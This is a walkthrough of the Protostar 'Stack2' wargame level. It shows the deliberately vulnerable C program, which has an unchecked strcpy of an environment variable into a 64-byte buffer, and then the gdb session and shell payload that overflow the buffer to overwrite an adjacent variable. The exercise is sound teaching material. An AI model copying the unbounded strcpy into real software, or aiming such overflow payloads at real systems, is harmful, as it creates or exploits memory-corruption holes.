Problem :lock:

Stack2 looks at environment variables, and how they can be set.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Solution :key:

I managed to solve this after watching this video (highly recommended that you watch this first) a couple times, I will be using the gdb debugging technique as demonstrated in the video.

First we set the environment variable with the export command:

export GREENIE=BBAA

We then open up gdb ./stack2 then set 2 breakpoints at before and after strcpy.

(gdb) disas main
Dump of assembler code for function main:
...
0x080484df <main+75>:   call   0x804839c <strcpy@plt>
0x080484e4 <main+80>:   mov    eax,DWORD PTR [esp+0x58]
...
End of assembler dump.
(gdb) break *0x080484df
Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20.
(gdb) break *0x080484e4
Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.

After that we run the program, because I used the hook-stop shown in the video, I can conviniently see the stack at each breakpoint, here’s the stack before strcpy is run:

0xbffff730:     0xbffff748      0xbffffa00      0xb7fff8f8      0xb7f0186e
0xbffff740:     0xb7fd7ff4      0xb7ec6165      0xbffff758      0xb7eada75
0xbffff750:     0xb7fd7ff4      0x08049748      0xbffff768      0x08048358
0xbffff760:     0xb7ff1040      0x08049748      0xbffff798      0x08048549
0xbffff770:     0xb7fd8304      0xb7fd7ff4      0x08048530      0xbffff798
0xbffff780:     0xb7ec6365      0xb7ff1040      0x00000000      0xbffffa00

Here’s after strcpy copied $GREENIE environment variable (with the value BBAA which translates into 0x41414242) into buffer[64]:

0xbffff730:     0xbffff748      0xbffffa00      0xb7fff8f8      0xb7f0186e
0xbffff740:     0xb7fd7ff4      0xb7ec6165      0x41414242      0xb7eada00
0xbffff750:     0xb7fd7ff4      0x08049748      0xbffff768      0x08048358
0xbffff760:     0xb7ff1040      0x08049748      0xbffff798      0x08048549
0xbffff770:     0xb7fd8304      0xb7fd7ff4      0x08048530      0xbffff798
0xbffff780:     0xb7ec6365      0xb7ff1040      0x00000000      0xbffffa00

We see that it gets copied into 0xbffff748 (which is the third column of the 0xbffff740 row). We also see that the modified variable with the value 0 is possibly at 0xbffff788, counting the “distance” between the two variables, it sums up to 64 total chars. Knowing this, let’s change the $GREENIE variable and then restart from the beginning:

export GREENIE=$(python -c "str = 'A'*64; str += 'BBBB'; print str")

Now we look at the stack after strcpy ran:

0xbffff6f0:     0xbffff708      0xbffff9c0      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0x41414141      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x42424242      0xbffff900

We see that BBBB actually gets in 0xbffff788, if we try to continue the program we get:

(gdb) c
Continuing.
Try again, you got 0x42424242

Now if we look at the source code, we need to change the value of 0xbffff788 into 0x0a0d0a0d. I found this article and learned how to echo simple binary data. With using subcommands, we can put it in the $GREENIE environment variable!

export GREENIE=$(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d")

We check the contents of $GREENIE:

user@protostar:/opt/protostar/bin$ printf %s "$GREENIE" | hexdump -Cv
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000040  0a 0d 0a 0d                                       |....|
00000044

Nice, our last 4 bytes are 0x0d0a0d0a (little endian) just like how the source wants it. Now we try to run it in gdb and look at the stack after strcpy:

0xbffff6f0:     0xbffff708      0xbffff9c0      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0x41414141      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x0d0a0d0a      0xbffff900

Continue until it’s done:

(gdb) c
Continuing.
you have correctly modified the variable

We can also just run it normally since environment variables are accessible to all processes:

user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
Full debugging process
user@protostar:/opt/protostar/bin$ export GREENIE=$(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d")
user@protostar:/opt/protostar/bin$ gdb ./stack2
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack2...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop 
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp 
>x/2i $eip 
>end
(gdb) disas main
Dump of assembler code for function main:
0x08048494 <main+0>:    push   ebp
0x08048495 <main+1>:    mov    ebp,esp
0x08048497 <main+3>:    and    esp,0xfffffff0
0x0804849a <main+6>:    sub    esp,0x60
0x0804849d <main+9>:    mov    DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>:   call   0x804837c <getenv@plt>
0x080484a9 <main+21>:   mov    DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>:   cmp    DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>:   jne    0x80484c8 <main+52>
0x080484b4 <main+32>:   mov    DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>:   mov    DWORD PTR [esp],0x1
0x080484c3 <main+47>:   call   0x80483bc <errx@plt>
0x080484c8 <main+52>:   mov    DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>:   mov    DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>:   lea    eax,[esp+0x18]
0x080484dc <main+72>:   mov    DWORD PTR [esp],eax
0x080484df <main+75>:   call   0x804839c <strcpy@plt>
0x080484e4 <main+80>:   mov    eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>:   cmp    eax,0xd0a0d0a
0x080484ed <main+89>:   jne    0x80484fd <main+105>
0x080484ef <main+91>:   mov    DWORD PTR [esp],0x8048618
0x080484f6 <main+98>:   call   0x80483cc <puts@plt>
0x080484fb <main+103>:  jmp    0x8048512 <main+126>
0x080484fd <main+105>:  mov    edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>:  mov    eax,0x8048641
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) break *0x080484df
Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20.
(gdb) break *0x080484e4
Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/stack2 
0xbffff6f0:     0xbffff708      0xbffff9c0      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0xbffff718      0xb7eada75
0xbffff710:     0xb7fd7ff4      0x08049748      0xbffff728      0x08048358
0xbffff720:     0xb7ff1040      0x08049748      0xbffff758      0x08048549
0xbffff730:     0xb7fd8304      0xb7fd7ff4      0x08048530      0xbffff758
0xbffff740:     0xb7ec6365      0xb7ff1040      0x00000000      0xbffff9c0
0x80484df <main+75>:    call   0x804839c <strcpy@plt>
0x80484e4 <main+80>:    mov    eax,DWORD PTR [esp+0x58]

Breakpoint 1, 0x080484df in main (argc=1, argv=0xbffff804) at stack2/stack2.c:20
20      stack2/stack2.c: No such file or directory.
        in stack2/stack2.c
(gdb) c
Continuing.
0xbffff6f0:     0xbffff708      0xbffff9c0      0xb7fff8f8      0xb7f0186e
0xbffff700:     0xb7fd7ff4      0xb7ec6165      0x41414141      0x41414141
0xbffff710:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff720:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff730:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff740:     0x41414141      0x41414141      0x0d0a0d0a      0xbffff900
0x80484e4 <main+80>:    mov    eax,DWORD PTR [esp+0x58]
0x80484e8 <main+84>:    cmp    eax,0xd0a0d0a

Breakpoint 2, main (argc=1, argv=0xbffff804) at stack2/stack2.c:22
22      in stack2/stack2.c
(gdb) c
Continuing.
you have correctly modified the variable

Program exited with code 051.
Error while running hook_stop:
No registers.
(gdb)

:checkered_flag: